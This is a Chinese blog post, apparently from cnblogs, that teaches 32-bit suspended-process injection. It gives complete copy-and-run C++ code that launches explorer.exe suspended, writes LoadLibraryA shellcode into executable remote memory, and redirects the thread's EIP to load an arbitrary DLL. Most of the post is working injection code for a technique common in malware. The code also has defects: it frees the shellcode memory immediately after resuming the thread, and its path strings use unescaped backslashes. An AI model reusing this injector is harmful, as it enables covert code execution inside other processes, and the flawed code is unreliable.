zoukankan      html  css  js  c++  java
  • ring3 x32挂起进程注入原理.

    一丶挂起进程注入简介与前言

    挂起进程其实就是在创建进程的时候不让其先执行.然后获取它的EIP 将它的EIP变成我们ShellCode所在的内存.进行执行.不难.

    主要分为几步:

    1.以CREATE_SUSPENDED标志挂起创建一个你想注入的进程
    2.获取这个进程的上下文环境 GetThreadContext 64位下使用Wow64GetThreadContext 请注意.CONTEXT结构还是同一个.使用64的会出错.亲测.(EIP注入的时候测试过.不相信可以去试试)
    3.定义自己的ShellCode. ShellCode主要作用就是注入指定路径下的DLL
    4.修复ShellCode 因为毕竟ShellCode地址是绝对的所以修复下即可.
    5.在目标进程中申请远程可读写执行内存.并且将修复好的ShellCode写入到目标进程
    6.将EIP修改为可读写内存的地址.恢复线程则会调用到我们申请地址位置处开始执行.

    7.释放一系列资源.

    综上所述.其实没有难点.挂起进程注入主要的核心思想就是 挂起进程修改EIP为我们ShellCode起始位置.然后进行调用即可.

    这里核心主要是ShellCode

    ShellCode如下:

    UCHAR g_ShellCode[] = {
    
       0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修复
       0x60,                            //puad
       0x9C,                            //pushfd
       0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代码重定位
       0x5B,                            //pop ebx
       0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加
       0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
       0x51,                            //push ecx
       0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修复LoadLibraryA的地址
       0xFF,0XD0,                       //call eax  为啥使用Mov reg,address call reg. 自己去坑吧.
       0x9D,                            //popfd
       0x61,                            //popad
       0xC3,                            //ret
     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    };
    

    ShellCode主要知识点有三个

    1.保存contex.EIP
    2.重定位LoadLibrary的参数
    3.重定位LoadLibrary的地址

    下面主要针对这几点讲解.

    二丶ShellCode核心讲解.

    2.1 保存Contex.EIP

    首先挂起进程注入. 你通过CONTEXT 这个结构可以获取 目标进程EIP.但是你要想办法执行完ShellCode之后跳转回去.
    所以这里我使用了一个简单的方法

    push Address
    ret
    

    这个方式是利用堆栈.以及ret指令来进行返回的. 当我们保存了原始地址.然后ret的时候.ret会把我们push的地址当做返回地址来执行.

    2.2 DLL路径重定位

    我们正常来说.调用LoadLibraryA/W的时候.都会进行参数压栈进而进行调用.
    如:

    push xxxx地址 (地址里面是个DLL路径)
    call LoadLibraryA; 调用LoadLibrary
    

    而为了方便我直接代码重定位.直接将ShellCode尾部写入我们的DLL路径.

    call $0:
    pop ebx
    

    使用这两句可以得到ebx当前指令指定的EIP的地址. 直接当前 EIP + xxx偏移(偏移是你写DLL路径的位置的偏移) 就是我们的参数地址.

    2.3 LoadLibrary的重定位

    当你直接使用 Call的方式调用LoadLibrary的时候.你还需要计算偏移.各种等等.
    但是这种不需要的.为啥. 因为Windows在启动后 kernel32的基址已经固定了.任何程序启动都会默认加载 kernel32的.所以直接使用LoadLibrary当地址即可.
    但是你使用Call的方式 (call LoadLibrary) 你还需要计算你的ShellCode 与LoadLibrary的偏移.所以我们直接使用寄存器来做.

    mov reg,LoadLibrary
    call reg
    

    reg代表任意通用寄存器.
    此时我们的ShellCode就可以正常运行了.通过以上步骤就可以开始运行了.

    三丶 全部C++代码.拷贝即可使用.

    
    #include <windows.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string>
    
    using namespace std;
    UCHAR g_ShellCode[] = {
    
       0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修复
       0x60,                            //puad
       0x9C,                            //pushfd
       0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代码重定位
       0x5B,                            //pop ebx
       0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加
       0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
       0x51,                            //push ecx
       0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修复LoadLibraryA的地址
       0xFF,0XD0,                       //call eax  为啥使用Mov reg,address call reg. 自己去坑吧.
       0x9D,                            //popfd
       0x61,                            //popad
       0xC3,                            //ret
       0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填写为DLL路径
       0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
       0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
       0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
       0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  //不够可以继续添加
    };
    /*
    1.挂起创建Explorer
    2.创建ShellCode
    3.获取上下文环境
    4.申请远程内存 写入ShellCode
    5.回去上下文环境
    ShellCode 可以写定位LoadLibrary 然后进行调用
    */
    
    //1.挂起创建 Explorer
    PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])
    {
    	
    	BOOL bRet = FALSE;
    	PPROCESS_INFORMATION pi = nullptr;
    	pi = new PROCESS_INFORMATION;;
    	if (pi == nullptr)
    	{
    		return nullptr;
    	}
    	STARTUPINFO si = { 0 };
    
    	
    	si.cb = sizeof(STARTUPINFO);
    
    	//创建挂起进程
    	bRet =  CreateProcess(
    		SuspendProcessName.c_str(),
    		szComand,
    		nullptr,
    		nullptr,
    		FALSE,
    		CREATE_SUSPENDED,
    		nullptr,
    		nullptr,
    		&si,
    		pi);
    	if (bRet == FALSE)
    	{
    		return nullptr;
    	}
    
    
    	return pi;
    }
    
    //申请远程内存
    LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)
    {
        LPVOID lpBuffer = nullptr;
        lpBuffer = 
            VirtualAllocEx(hProcess,
                0,
                0x1000,
                flAllocation,
                Protected
            );
    
        if (lpBuffer != nullptr)
            return lpBuffer;
        return nullptr;
    }
    //写入ShellCode到远程内存
    DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)
    {
        //将ShellCode写入到远程内存
        DWORD dwRet = 0;
        SIZE_T siWriteBytes;
        if (hProcess == 0)
            return 0;
        if (lpExRemoteMemory == nullptr)
            return 0;
        dwRet = WriteProcessMemory(
            hProcess, 
            lpExRemoteMemory, 
            g_ShellCode, 
            sizeof(g_ShellCode) / sizeof(g_ShellCode[0]), 
            &siWriteBytes);
        return dwRet;
    }
    
    //修复ShellCode,并且将DLL路径写入到ShellCode位置.
    DWORD FixShellCode(DWORD dwContexEip,char* DllPath)
    {
        /*
        纵观全局数据区,ShellCode修复的位置有2处
        1.首先要修复原Context的EIP. 这样RET之后直接跳转回去.
        2.要修复LoadLibrary的地址.  因为Kernel32是直接加载的都是属于内存映射.所以虚拟地址一样.直接获取填入即可.
        不用修复DLLpath. 因为自动进行代码重定位写法了.
        */
    
        //1.修复EIP
        __try
        {
    
            *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip;
    
    
            //2.修复LodLibrary地址.
    
            //修复
            *(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA;
    
            //将DLL内容拷贝到ShellCode存放路径处
            memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
            //出错了.
        }
        
    
        return 1;
    }
    void run()
    {
        DWORD dwRet = 0;
        LPVOID lpStartRemoteAddress = nullptr;
    	//1.挂起创建进程
    	PPROCESS_INFORMATION pi = nullptr;
    	char szCmd[] = "";
    	pi = StartSuspendProcess("C:\Windows\SysWOW64\explorer.exe",szCmd);
    	if (!pi)
    	{
    		return;
    	}
    
    	//2.获取进程上下文环境.
    	CONTEXT MyContext = { 0 };
    	MyContext.ContextFlags = CONTEXT_FULL;
    	dwRet =  GetThreadContext(pi->hThread, &MyContext);
        if (!dwRet)
        {
            return;
        }
    
        //3.修复ShellCode的值.并且写入自己的DLL路径
        char szDllPath[] = "填入你的DLL路径.如: C:\xxx.dll";
        dwRet = FixShellCode(MyContext.Eip,szDllPath);
    
        //4.申请远程内存
        lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (lpStartRemoteAddress == nullptr)
        {
            return ;
        }
    
        //5.将ShellCode写入到内存中
        dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress);
    
        //6.恢复进程启动,修改EIP为我们的ShellCode
    
        MyContext.Eip = (DWORD)lpStartRemoteAddress;
        SetThreadContext(pi->hThread, &MyContext);
        ResumeThread(pi->hThread);    //请注意这里 EIP修改为我们的ShellCode位置.还要恢复线程才会进行执行.
        //释放一系列资源
        VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);
        CloseHandle(pi->hProcess);
        CloseHandle(pi->hThread);
    	
    }
    int main()
    {
    	run();
    
    	return 0;
    }
    
    
  • 相关阅读:
    二分查找
    【递归】N位全排列
    深度学习训练平台Polyaxon食谱 | Polyaxon使用笔记
    PAT A1149 Dangerous Goods Packaging [蜜汁模拟+STL]
    PAT A1124 Raffle for Weibo Followers [模拟+STL]
    PAT A1144 The Missing Number [模拟+STL]
    PAT A1120 Friend Numbers [模拟]
    PAT A1100 Mars Numbers [字符串处理+硬核模拟]
    PAT A1095 Cars on Campus [排序+硬核模拟]
    PAT A1113 Integer Set Partition [模拟]
  • 原文地址:https://www.cnblogs.com/iBinary/p/11978447.html
Copyright © 2011-2022 走看看